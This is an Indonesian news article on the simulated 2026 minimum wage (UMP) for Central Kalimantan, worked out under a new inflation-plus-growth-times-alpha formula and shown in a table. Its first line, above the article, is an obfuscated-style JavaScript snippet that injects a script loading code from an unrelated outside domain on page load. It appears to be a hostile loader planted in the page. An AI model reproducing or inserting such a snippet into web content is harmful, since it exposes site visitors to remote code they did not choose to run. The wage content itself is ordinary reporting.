(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Sumber: Sasun Bughdaryan (Unsplash)
Presiden Prabowo Subianto akhirnya telah menandatangani Peraturan Pemerintah (PP) soal Pengupahan pada Selasa (16/12/2025). Pada PP tersebut, akan ada formula baru untuk kenaikan upah minimum 2026.
Kebijakan ini mencakup perhitungan Upah Minimum Provinsi (UMP), Upah Minimum Kabupaten/Kota (UMK), hingga Upah Minimum Sektoral Kabupaten/Kota (UMSK) yang akan mulai berlaku pada 1 Januari 2026.
Berbeda dari tahun-tahun sebelumnya, ini simulasi kenaikan UMP 2026 Kalimantan Tengah menggunakan formula baru.
Pada formula baru, pemerintah menetapkan perhitungan kenaikan upah minimum 2026 akan menggunakan kombinasi tingkat inflasi dan pertumbuhan ekonomi, dengan tambahan faktor alfa.
Formula baru kenaikan upah minimum 2026 berupa Inflasi + (Pertumbuhan Ekonomi x Alfa) dengan rentang Alfa pada 0,5–0,9. Alfa merupakan indeks tertentu yang menggambarkan kontribusi pekerja bagi ekonomi.
Koefisien alfa ini yang akan dibahas lebih lanjut dan ditentukan oleh Dewan Pengupahan Daerah yang akan disampaikan sebagai rekomendasi kepada gubernur.
Nilai koefisien alfa yang semakin besar akan membuat pertumbuhan ekonomi yang dikonversi menjadi kenaikan upah minimum juga akan semakin besar.
Adanya formula baru ini membuat kenaikan upah minimum akan berbeda di setiap daerah. Semua tergantung pada inflasi, pertumbuhan ekonomi, dan koefisien alfa daerah masing-masing.
Menurut data dari BPS, pada tahun 2025 Kalimantan Tengah secara year-on-year mengalami inflasi sebesar 2,56%. Sementara ekonomi Kalimantan Tengah pada kuartal III 2025 tumbuh 5,36% dibandingkan periode yang sama dari tahun sebelumnya.
Untuk perhitungan kenaikan, UMP 2025 Kalimantan Tengah adalah Rp3.473.621,04. Nilai alfa nantinya akan ditentukan oleh Dewan Pengupahan Daerah.
Pada simulasi perhitungan dengan indeks alfa 0,5–0,9, kenaikan UMP 2026 Kalimantan Tengah akan ada di kisaran 5,24% sampai 7,38%.
Berikut adalah prediksi dan simulasi kenaikan UMP 2026 Kalimantan Tengah sesuai dengan formula baru dengan koefisien alfa 0,5–0,9.
| Alfa | Kenaikan (%) | UMP Kalteng 2025 | UMP Kalteng 2026 |
| 0,5 | 5,24% | Rp3.473.621,04 | Rp3.655.638,78 |
| 0,6 | 5,78% | Rp3.674.396,34 | |
| 0,7 | 6,31% | Rp3.692.806,53 | |
| 0,8 | 6,85% | Rp3.711.564,08 | |
| 0,9 | 7,38% | Rp3.729.974,27 |
Menteri Ketenagakerjaan Yassierli meminta seluruh gubernur di setiap provinsi di Indonesia untuk mengumumkan upah minimum 2026 paling lambat 24 Desember 2025.
Gubernur juga memiliki wewenang untuk menentukan UMK dan UMSK. Hal ini bertujuan untuk menyesuaikan struktur upah dengan karakteristik sektor usaha dan kondisi ekonomi daerah.
Dengan demikian, UMP, UMK, dan UMSK Kalimantan Tengah akan diumumkan pada tanggal 24 Desember 2025 atau lebih cepat.
sumber:
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More
This website uses cookies.